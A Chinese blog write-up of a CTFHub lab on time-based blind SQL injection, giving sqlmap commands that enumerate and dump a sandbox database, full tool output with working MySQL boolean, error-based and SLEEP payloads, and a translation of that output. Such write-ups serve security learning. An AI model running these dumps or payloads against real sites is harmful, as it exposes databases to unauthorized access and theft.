CTFHub SQl注入 时间盲注（sqlmap）

最新推荐文章于 2024-09-18 21:39:10 发布
最新推荐文章于 2024-09-18 21:39:10 发布
阅读量5.3k 收藏 10
点赞数 3
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/chichengfengxue/article/details/119490239
版权

CTFHub SQl注入 时间盲注（sqlmap）

0x00 简单介绍

这篇文章主要通过 CTFHub 时间盲注案例简单记录一下 sqlmap 的使用流程。

参考：sqlmap用户手册 | WooYun知识库 (xmd5.com)

sqlmap 的功能：
1、判断可注入的参数

2、判断可以用那种SQL注入技术来注入

3、识别出哪种数据库

4、根据用户选择，读取哪些数据
(具体过程可见文章末尾案例)

sqlmap支持五种不同的注入模式：
1、基于布尔的盲注，即可以根据返回页面判断条件真假的注入。

2、基于时间的盲注，即不能根据页面返回内容判断任何信息，用条件语句查看时间延迟语句是否执行（即页面返回时间是否增加）来判断。

3、基于报错注入，即页面会返回错误信息，或者把注入的语句的结果直接返回在页面中。

4、联合查询注入，可以使用union的情况下的注入。

5、堆查询注入，可以同时执行多条语句的执行时的注入。

0x01 列出数据库

在这里插入图片描述在这里插入图片描述

python sqlmap.py -u http://challenge-493b66302b18faed.sandbox.ctfhub.com:10800/?id=2 --dbs
-u：目标URL
--dbs：枚举数据库

0x02 列出目标数据库的表在这里插入图片描述在这里插入图片描述

遍历0x01中的所有数据库( performance_schema 用于性能分析，而 information_schema 用于存储数据库元数据(关于数据的数据)，都是mysql自带的数据库，不用管)。

python sqlmap.py -u http://challenge-493b66302b18faed.sandbox.ctfhub.com:10800/?id=2 -D sqli(数据库名) 
--tables
-D 指定数据库
--tables 列举该数据库中的所有表

0x03 列出目标数据库中的列在这里插入图片描述在这里插入图片描述

我们显然关心 flag 表。

python sqlmap.py -u http://challenge-493b66302b18faed.sandbox.ctfhub.com:10800/?id=2 -D sqli(数据库名)     -T flag(表名) --columns
-T 指定表
--columns 列举该表中的所有字段

0x04 从目标表中取出数据在这里插入图片描述在这里插入图片描述

python sqlmap.py -u http://challenge-493b66302b18faed.sandbox.ctfhub.com:10800/?id=2 -D sqli(数据库名)     -T flag(表名) -C flag(所求字段名) --dump
-C 指定字段
--dump 获取数据

以下为最后一步0x04 sqlmap中的显示内容(sql注入过程)：

在这里插入图片描述

D:\Plug_in\sqlmap-master>python sqlmap.py -u http://challenge-4d26a8e654d68212.sandbox.ctfhub.com:10800/?id=2 -D sqli -T flag -C flag --dump
        ___
       __H__
 ___ ___[,]_____ ___ ___  {1.5.8#stable}
|_ -| . [']     | .'| . |
|___|_  [)]_|_|_|__,|  _|
      |_|V...       |_|   http://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting @ 16:24:10 /2021-08-07/

[16:24:10] [INFO] testing connection to the target URL
[16:24:10] [INFO] checking if the target is protected by some kind of WAF/IPS
[16:24:10] [INFO] testing if the target URL content is stable
[16:24:10] [INFO] target URL content is stable
[16:24:10] [INFO] testing if GET parameter 'id' is dynamic
[16:24:11] [WARNING] GET parameter 'id' does not appear to be dynamic
[16:24:11] [INFO] heuristic (basic) test shows that GET parameter 'id' might be injectable (possible DBMS: 'MySQL')
[16:24:11] [INFO] heuristic (XSS) test shows that GET parameter 'id' might be vulnerable to cross-site scripting (XSS) attacks
[16:24:11] [INFO] testing for SQL injection on GET parameter 'id'
it looks like the back-end DBMS is 'MySQL'. Do you want to skip test payloads specific for other DBMSes? [Y/n] y
for the remaining tests, do you want to include all tests for 'MySQL' extending provided level (1) and risk (1) values? [Y/n] y
[16:24:22] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[16:24:22] [WARNING] reflective value(s) found and filtering out
[16:24:22] [INFO] testing 'Boolean-based blind - Parameter replace (original value)'
[16:24:22] [INFO] testing 'Generic inline queries'
[16:24:22] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause (MySQL comment)'
[16:24:24] [INFO] testing 'OR boolean-based blind - WHERE or HAVING clause (MySQL comment)'
[16:24:26] [INFO] testing 'OR boolean-based blind - WHERE or HAVING clause (NOT - MySQL comment)'
[16:24:28] [INFO] testing 'MySQL RLIKE boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause'
[16:24:29] [INFO] GET parameter 'id' appears to be 'MySQL RLIKE boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause' injectable
[16:24:29] [INFO] testing 'MySQL >= 5.5 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (BIGINT UNSIGNED)'
[16:24:29] [INFO] testing 'MySQL >= 5.5 OR error-based - WHERE or HAVING clause (BIGINT UNSIGNED)'
[16:24:29] [INFO] testing 'MySQL >= 5.5 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXP)'
[16:24:29] [INFO] testing 'MySQL >= 5.5 OR error-based - WHERE or HAVING clause (EXP)'
[16:24:29] [INFO] testing 'MySQL >= 5.6 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (GTID_SUBSET)'
[16:24:29] [INFO] testing 'MySQL >= 5.6 OR error-based - WHERE or HAVING clause (GTID_SUBSET)'
[16:24:29] [INFO] testing 'MySQL >= 5.7.8 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (JSON_KEYS)'
[16:24:29] [INFO] testing 'MySQL >= 5.7.8 OR error-based - WHERE or HAVING clause (JSON_KEYS)'
[16:24:29] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)'
[16:24:29] [INFO] GET parameter 'id' is 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)' injectable
[16:24:29] [INFO] testing 'MySQL inline queries'
[16:24:29] [INFO] testing 'MySQL >= 5.0.12 stacked queries (comment)'
[16:24:29] [INFO] testing 'MySQL >= 5.0.12 stacked queries'
[16:24:29] [INFO] testing 'MySQL >= 5.0.12 stacked queries (query SLEEP - comment)'
[16:24:29] [INFO] testing 'MySQL >= 5.0.12 stacked queries (query SLEEP)'
[16:24:29] [INFO] testing 'MySQL < 5.0.12 stacked queries (heavy query - comment)'
[16:24:29] [INFO] testing 'MySQL < 5.0.12 stacked queries (heavy query)'
[16:24:30] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)'
[16:24:40] [INFO] GET parameter 'id' appears to be 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)' injectable
[16:24:40] [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns'
[16:24:40] [INFO] automatically extending ranges for UNION query injection technique tests as there is at least one other (potential) technique found
[16:24:40] [INFO] 'ORDER BY' technique appears to be usable. This should reduce the time needed to find the right number of query columns. Automatically extending the range for current UNION query injection technique test
[16:24:40] [INFO] target URL appears to have 2 columns in query
do you want to (re)try to find proper UNION column types with fuzzy test? [y/N] y
injection not exploitable with NULL values. Do you want to try with a random integer value for option '--union-char'? [Y/n] y
[16:24:48] [WARNING] if UNION based SQL injection is not detected, please consider forcing the back-end DBMS (e.g. '--dbms=mysql')
[16:24:49] [INFO] target URL appears to be UNION injectable with 2 columns
injection not exploitable with NULL values. Do you want to try with a random integer value for option '--union-char'? [Y/n] y
[16:24:52] [INFO] testing 'MySQL UNION query (35) - 1 to 20 columns'
[16:24:54] [INFO] testing 'MySQL UNION query (35) - 21 to 40 columns'
[16:24:55] [INFO] testing 'MySQL UNION query (35) - 41 to 60 columns'
[16:24:56] [INFO] testing 'MySQL UNION query (35) - 61 to 80 columns'
[16:24:57] [INFO] testing 'MySQL UNION query (35) - 81 to 100 columns'
GET parameter 'id' is vulnerable. Do you want to keep testing the others (if any)? [y/N] y
sqlmap identified the following injection point(s) with a total of 344 HTTP(s) requests:
---
Parameter: id (GET)
    Type: boolean-based blind
    Title: MySQL RLIKE boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause
    Payload: id=2 RLIKE (SELECT (CASE WHEN (3982=3982) THEN 2 ELSE 0x28 END))

    Type: error-based
    Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
    Payload: id=2 AND (SELECT 5108 FROM(SELECT COUNT(*),CONCAT(0x716b7a6271,(SELECT (ELT(5108=5108,1))),0x716b7a7871,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: id=2 AND (SELECT 9417 FROM (SELECT(SLEEP(5)))rRTT)
---
[16:25:01] [INFO] the back-end DBMS is MySQL
web application technology: OpenResty 1.19.3.2, PHP 7.3.14
back-end DBMS: MySQL >= 5.0 (MariaDB fork)
[16:25:01] [INFO] fetching entries of column(s) 'flag' for table 'flag' in database 'sqli'
[16:25:01] [INFO] retrieved: 'ctfhub{34e19ddc5ce73c4bea083c02}'
Database: sqli
Table: flag
[1 entry]
+----------------------------------+
| flag                             |
+----------------------------------+
| ctfhub{34e19ddc5ce73c4bea083c02} |
+----------------------------------+

[16:25:01] [INFO] table 'sqli.flag' dumped to CSV file 'C:\Users\86187\AppData\Local\sqlmap\output\challenge-4d26a8e654d68212.sandbox.ctfhub.com\dump\sqli\flag.csv'
[16:25:01] [INFO] fetched data logged to text files under 'C:\Users\86187\AppData\Local\sqlmap\output\challenge-4d26a8e654d68212.sandbox.ctfhub.com'

[*] ending @ 16:25:01 /2021-08-07/

翻译：

D:\Plug_in\sqlmap-master>python sqlmap.py -u http://challenge-4d26a8e654d68212.sandbox.ctfhub.com:10800/?id=2 -D sqli -T flag -C flag --dump
        ___
       __H__
 ___ ___[,]____ ___ ___ {1.5.8#stable}
|_ -| . ['] | .'| . |
|___|_ [)]_|_|_|__,| _|
      |_|V... |_| http://sqlmap.org

[!] 法律免责声明：在未经双方事先同意的情况下使用 sqlmap 攻击目标是非法的。最终用户有责任遵守所有适用的地方、州和联邦法律。开发者不承担任何责任，也不对本程序造成的任何误用或损坏负责

[*] 开始 @ 16:24:10 /2021-08-07/

[16:24:10] [INFO] 测试与目标 URL 的连接
[16:24:10] [INFO] 检查目标是否受某种 WAF/IPS 保护
[16:24:10] [INFO] 测试目标 URL 内容是否稳定
[16:24:10] [INFO] 目标 URL 内容稳定
[16:24:10] [INFO] 测试 GET 参数“id”是否是动态的
[16:24:11] [警告] GET 参数“id”似乎不是动态的
[16:24:11] [INFO] 启发式（基本）测试表明 GET 参数“id”可能是可注入的（可能的 DBMS：“MySQL”）
[16:24:11] [INFO] 启发式 (XSS) 测试表明 GET 参数“id”可能容易受到跨站点脚本 (XSS) 攻击
[16:24:11] [INFO] 在 GET 参数“id”上测试 SQL 注入
看起来后端 DBMS 是“MySQL”。您想跳过特定于其他 DBMS 的测试负载吗？ [是/否] 是
对于剩余的测试，您是否要包括扩展提供的级别 (1) 和风险 (1) 值的“MySQL”的所有测试？ [是/否] 是
[16:24:22] [INFO] 测试“AND 布尔型盲 - WHERE 或 HAVING 子句”
[16:24:22] [警告] 发现反射值并过滤掉
[16:24:22] [INFO] 测试“基于布尔值的盲注 - 参数替换（原始值）”
[16:24:22] [INFO] 测试“通用内联查询”
[16:24:22] [INFO] 测试“AND 布尔型盲 - WHERE 或 HAVING 子句（MySQL 注释）”
[16:24:24] [INFO] 测试“或基于布尔值的盲注 - WHERE 或 HAVING 子句（MySQL 注释）”
[16:24:26] [信息] 测试“或基于布尔值的盲注 - WHERE 或 HAVING 子句（不是 - MySQL 注释）”
[16:24:28] [信息] 测试“基于 MySQL RLIKE 布尔值的盲注 - WHERE、HAVING、ORDER BY 或 GROUP BY 子句”
[16:24:29] [INFO] GET 参数“id”似乎是“MySQL RLIKE 基于布尔值的盲注 - WHERE、HAVING、ORDER BY 或 GROUP BY 子句”可注入
[16:24:29] [信息] 测试“MySQL >= 5.5 AND 基于错误 - WHERE、HAVING、ORDER BY 或 GROUP BY 子句（BIGINT UNSIGNED）”
[16:24:29] [信息] 测试“MySQL >= 5.5 OR 基于错误 - WHERE 或 HAVING 子句（BIGINT UNSIGNED）”
[16:24:29] [信息] 测试“MySQL >= 5.5 AND 基于错误 - WHERE、HAVING、ORDER BY 或 GROUP BY 子句 (EXP)”
[16:24:29] [信息] 测试“MySQL >= 5.5 OR 基于错误 - WHERE 或 HAVING 子句（EXP）”
[16:24:29] [信息] 测试“MySQL >= 5.6 AND 基于错误 - WHERE、HAVING、ORDER BY 或 GROUP BY 子句（GTID_SUBSET）”
[16:24:29] [信息] 测试“MySQL >= 5.6 OR 基于错误 - WHERE 或 HAVING 子句（GTID_SUBSET）”
[16:24:29] [信息] 测试“MySQL >= 5.7.8 AND 基于错误 - WHERE、HAVING、ORDER BY 或 GROUP BY 子句（JSON_KEYS）”
[16:24:29] [INFO] 测试“MySQL >= 5.7.8 OR 基于错误 - WHERE 或 HAVING 子句（JSON_KEYS）”
[16:24:29] [信息] 测试“MySQL >= 5.0 AND 基于错误 - WHERE、HAVING、ORDER BY 或 GROUP BY 子句（FLOOR）”
[16:24:29] [INFO] GET 参数“id”是“MySQL >= 5.0 AND 基于错误 - WHERE、HAVING、ORDER BY 或 GROUP BY 子句（FLOOR）”可注入
[16:24:29] [INFO] 测试“MySQL 内联查询”
[16:24:29] [INFO] 测试“MySQL >= 5.0.12 堆叠查询（评论）”
[16:24:29] [信息] 测试“MySQL >= 5.0.12 堆叠查询”
[16:24:29] [INFO] 测试“MySQL >= 5.0.12 堆叠查询（查询 SLEEP - 评论）”
[16:24:29] [INFO] 测试“MySQL >= 5.0.12 堆叠查询（查询 SLEEP）”
[16:24:29] [INFO] 测试“MySQL < 5.0.12 堆叠查询（重查询 - 评论）”
[16:24:29] [INFO] 测试“MySQL < 5.0.12 堆叠查询（重查询）”
[16:24:30] [INFO] 测试“MySQL >= 5.0.12 AND 基于时间的盲（查询 SLEEP）”
[16:24:40] [INFO] GET 参数“id”似乎是“MySQL >= 5.0.12 AND 基于时间的盲注（查询 SLEEP）”可注入
[16:24:40] [INFO] 测试“通用联合查询 (NULL) - 1 到 20 列”
[16:24:40] [INFO] 自动扩展 UNION 查询注入技术测试的范围，因为至少发现了一种其他（潜在）技术
[16:24:40] [INFO] 'ORDER BY' 技术似乎是可用的。这应该会减少查找正确数量的查询列所需的时间。自动扩展当前UNION查询注入技术测试的范围
[16:24:40] [INFO] 目标 URL 在查询中似乎有 2 列
您想（重新）尝试通过模糊测试找到合适的 UNION 列类型吗？ [是/否] 是
注入不可利用 NULL 值。您想尝试使用随机整数值作为选项“--union-char”吗？ [是/否] 是
[16:24:48] [警告] 如果未检测到基于 UNION 的 SQL 注入，请考虑强制后端 DBMS（例如'--dbms=mysql'）
[16:24:49] [信息] t参数 URL 似乎是可注入 2 列的 UNION
注入不可利用 NULL 值。您想尝试使用随机整数值作为选项“--union-char”吗？ [是/否] 是
[16:24:52] [INFO] 测试“MySQL UNION 查询 (35) - 1 到 20 列”
[16:24:54] [INFO] 测试“MySQL UNION 查询 (35) - 21 到 40 列”
[16:24:55] [INFO] 测试“MySQL UNION 查询 (35) - 41 到 60 列”
[16:24:56] [INFO] 测试“MySQL UNION 查询 (35) - 61 到 80 列”
[16:24:57] [INFO] 测试“MySQL UNION 查询 (35) - 81 到 100 列”
GET 参数“id”易受攻击。你想继续测试其他人（如果有的话）吗？ [是/否] 是
sqlmap 确定了以下注入点，总共有 344 个 HTTP(s) 请求：
---
参数：id (GET)
    类型：基于布尔值的盲注
    标题：MySQL RLIKE 基于布尔值的盲注 - WHERE、HAVING、ORDER BY 或 GROUP BY 子句
    有效负载：id=2 RLIKE (SELECT (CASE WHEN (3982=3982) THEN 2 ELSE 0x28 END))

    类型：基于错误
    标题：MySQL >= 5.0 AND 基于错误 - WHERE、HAVING、ORDER BY 或 GROUP BY 子句 (FLOOR)
    有效负载：id=2 AND (SELECT 5108 FROM(SELECT COUNT(*),CONCAT(0x716b7a6271,(SELECT (ELT(5108=5108,1))),0x716b7a7871,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA .PLUGINS GROUP BY x)a)

    类型：基于时间的盲注
    标题：MySQL >= 5.0.12 AND 基于时间的盲（查询 SLEEP）
    有效负载：id=2 AND (SELECT 9417 FROM (SELECT(SLEEP(5)))rRTT)
---
[16:25:01] [INFO] 后端 DBMS 是 MySQL
网络应用技术：OpenResty 1.19.3.2、PHP 7.3.14
后端 DBMS：MySQL >= 5.0（MariaDB fork）
[16:25:01] [INFO] 为数据库 'sqli' 中的表 'flag' 获取列 'flag' 的条目
[16:25:01] [信息] 检索：'ctfhub{34e19ddc5ce73c4bea083c02}'
数据库：sql
表：标志
[1 个条目]
+---------------------------------+
|标志|
+---------------------------------+
| ctfhub{34e19ddc5ce73c4bea083c02} |
+---------------------------------+

[16:25:01] [INFO] 表 'sqli.flag' 转储到 CSV 文件 'C:\Users\86187\AppData\Local\sqlmap\output\challenge-4d26a8e654d68212.sandbox.ctfhub.com\dump\sqli\标志.csv'
[16:25:01] [INFO] 获取记录到“C:\Users\86187\AppData\Local\sqlmap\output\challenge-4d26a8e654d68212.sandbox.ctfhub.com”下的文本文件的数据

[*] 结束 @ 16:25:01 /2021-08-07/
赤城封雪
关注
sql注入之4时间盲注
技术骨干小李的博客
07-18 630
时间盲注思路
CTFHub——SQL注入
Aquarius_ego的博客
05-05 1758
CTFHub——SQL注入（报错注入、布尔盲注、时间盲注、MySQL结构、Cookie注入、UA注入、Refer注入、过滤空格）
CTFHUB-SQL注入-时间盲注
weixin_68416970的博客
06-11 1230
时间盲注是一种SQL注入技术的变种，它依赖于页面响应时间的不同来确定SQL注入攻击的成功与否。在某些情况下，攻击者无法直接看到注入结果的回显，这时便借助某些函数（如）引起页面延迟来间接判断注入语句是否执行成功。这种方法常用于那些无法直接获得错误信息的场景，例如，当Web应用对SQL注入有严格的错误信息处理策略时。sleep()
CTFHub--SQL注入--injection sqlmap版
最新发布
2402_82644071的博客
09-18 462
id=x" 【查询是否存在注入点2. --dbs 【检测站点包含哪些数据库3. --current-db 【获取当前的数据库名4. --tables -D "db_name" 【获取指定数据库中的表名 -D后接指定的数据库名称5. --columns -T "table_name" -D "db_name" 【获取数据库表中的字段。
CTFhub 时间盲注
plant1234的博客
06-17 879
时间盲注: 需要了解mysql的知识点： union select 联合查询，联合注入常用 database() 回显当前连接的数据库 version() 查看当前sql的版本如：mysql 1.2.3， mariadb-4.5.6 group_concat() 把产生的同一分组中的值用,连接，形成一个字符串 information_schema 存了很多mysql信息的数据库 information_schema.schemata information_schema库的一个表,名为schemata sc
CTFHub | 时间盲注
尼泊罗河伯的博客
11-02 1211
根据网页显示内容输入1进行测试，此题可能存在 SQL 注入。此题与前一题类似，同样使用工具 sqlmap 爆出数据库名，查看数据库名中的表发现一个可疑的表名为 flag 。查看 flag 表名的字段为 flag 。检查字段中的数据发现此题 flag 。
CTFHub 技能树之时间盲注
qq_47271638的博客
05-27 1032
CTFHub 技能树之时间盲注 首先需要知道时间盲注和布尔盲注一样都是需要大量的时间来整理组合自己所注入的集合 所以本篇主要介绍sqlmap和手工注入联合起来注入 具体步骤： 1.打开环境 判断注入类型 要么此处采用手工判断要么采用sqlmap判断 我们这里采用sqlmap判断 sqlmap初步判断类型为时间盲注 现在就可以自己构造手工注入语句: http://challenge-4e00395e736a4b55.sandbox.ctfhub.com:10080/?id=1 and if(mid(dat
时间盲注（ctfhub）
2401_82985722的博客
03-29 1720
（布尔盲注直接使用length进行筛选：按照length从高到低排序 前面四个即为结果，按照payload1的顺序进行排序得到数据库名sqli。（已经知道长度为4，可以直接设置为4，不知道时 设置比需要爆破字符的长度长。（5）点击开始攻击得到结果，sleep(5)要筛选出响应时间大于5s的数据包。condition为条件，条件为真时返回true，条件为假时返回false。再进行筛选，响应时间最大的四个就是执行成功的——sqli。# -D 指定库，-T指定表，-C 指定列（字段）（爆破字段为26个英文字母）
ctfhub-web-sql-整型注入/字符型注入/报错注入/布尔盲注/时间盲注/mysql结构/cookie注入/ua注入
2301_80162151的博客
03-01 845
id=1’ and sleep(5) --+，看网络有没有延迟，有的话就是存在时间盲注。（完全没变化的页面，这种情况我们可以利用时间函数来判断数据有没有在目标数据中得到执行。技能树的这些sql，肯定是存在，所以直接sqlmap获取库名。sqlmap -u url -D 库名 --tables。时间型的注入遇到的条件更为苛刻，数据交互完成以后目标网站。聚合函数也称作计数函数，返回查询对象的总数。判断页面是否正常，1=1和1=2是俩个页面。慢慢等一会，他有点慢，出现了库名sqli。函数 获取字符串的长度。
Ctfhub解题 web SQL注入(全部完整版)
weixin_46703850的博客
03-15 5599
Ctfhub解题 web SQL注入
ctfhub——web——sql注入(sqlmap实现)
weixin_43906500的博客
05-13 1772
本次sql注入全部基于sqlmap实现 1.整数型注入 题目如下，为整数型注入 1.1安装sqlmap sudo apt install sqlmap 1.2测试注入 sqlmap -u http://challenge-3c2c0ebf73b7a689.sandbox.ctfhub.com:10080/?id=1 成功注入 1.3查看数据库 执行命令 sqlmap -u http://challenge-3c2c0ebf73b7a689.sandbox.ctfhub.
CTFHUB-WEB-SQL注入
K_ShenH的博客
06-09 1271
CTFHUB-WEB-SQL注入
CTFHub_技能树_Web之SQL注入——时间盲注详细原理讲解_保姆级手把手讲解自动化布尔盲注脚本编写
Ho1aAs‘s Blog
12-22 1570
文章目录前言——时间盲注一、时间盲注原理时间盲注常用函数二、时间盲注Python脚本脚本使用事项Python3.0-3.7的版本Python3.8+的版本运行截图 前言——时间盲注 CTFHub_技能树_Web之SQL注入——布尔盲注（含布尔盲注脚本） 时间盲注基本思路类似于布尔盲注，细节可以访问上方给出的文章链接，不同的是布尔盲注是通过回显的对错提示来判断是否成功，而时间盲注是通过手动控制页面返回时间来判断是否成功 一、时间盲注原理 时间盲注常用函数 以下是时间盲注常用的SQL语句： if(Bool
sql注入之时间盲注
weixin_46954909的博客
04-02 1252
sql注入的整型字符型注入，联合注入，报错注入以及布尔盲注可参考，往期。
CTFHUB-WEB-SQL注入-时间盲注
weixin_49539962的博客
08-05 455
题目提示是使用时间盲注，并且不会有回显。解题的原理，是通过提交查询语句之后页面的刷新速度判断查询是否正确，如果正确从数据库中查找并返回response耗时比错误的语句稍长一些。但实际操作中受网络波动影响较大，使用sqlmap工具会方便很多。
CTFHUB-技能树-Web题-SQL注入-时间盲注
Static______的博客
04-03 1075
1=1即为真，那么将会执行sleep（3），也就是睡眠3秒钟（默认单位为秒）那既然我们可以构造这个函数，我们就用这个函数来到时间盲注这个靶场尝试一下。得到四个库名，猜测flag最有可能在sqli中，尝试爆破表名来看看。1=1就是我们的条件，sleep（3）为我们的A，1为我们的B。说明即存在时间盲注，我们通过sqlmap可以直接跑出结果。庞大的工作量太过耗时，所以到此为止，开始sqlmap注入。得到表名为flag，news，猜测结果就在flag表中。到这我们已经了解了这个判断语句，那我们可以尝试。
CTFHub的Web的时间盲注
ndjnddjxn的博客
04-11 567
id=1” –dump -C “column_name” -T “table_name” -D “db_name” -v 0#获取字段内容。的情况下，用时间函数构造时间延后，由回显时间来获取数据，主要是利用sleep函数让sql语句的执行时间变长，常与if（1,2,3）函数连用如果1执行为ture则返回2，否则返回3.id=1” –columns -T “tablename” users-D “db_name” -v 0 #列字段。其他，如果我们的软件库中没有相应的软件包，那么我们可以从软件研发的团队的。
CTFHub-web(sql时间盲注)
分享与记录
07-25 3785
文章目录手工注入sqlmap注入使用脚本 手工注入 1. 题目信息 2. 页面3秒钟后才响应，说明数据库名称长度=4 1 and if(length(database())=4,sleep(3),1) 3. 猜解数据库名称 1 and if(ascii(substr(database(),1,1))>110,sleep(3),1) 1 and if(ascii(substr(database(),1,1))=115,sleep(3),1) ascii(s)=115 1 and if(ascii
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

赤城封雪

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付：¥1
获取中
扫码支付

您的余额不足，请更换扫码支付或充值

打赏作者

实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值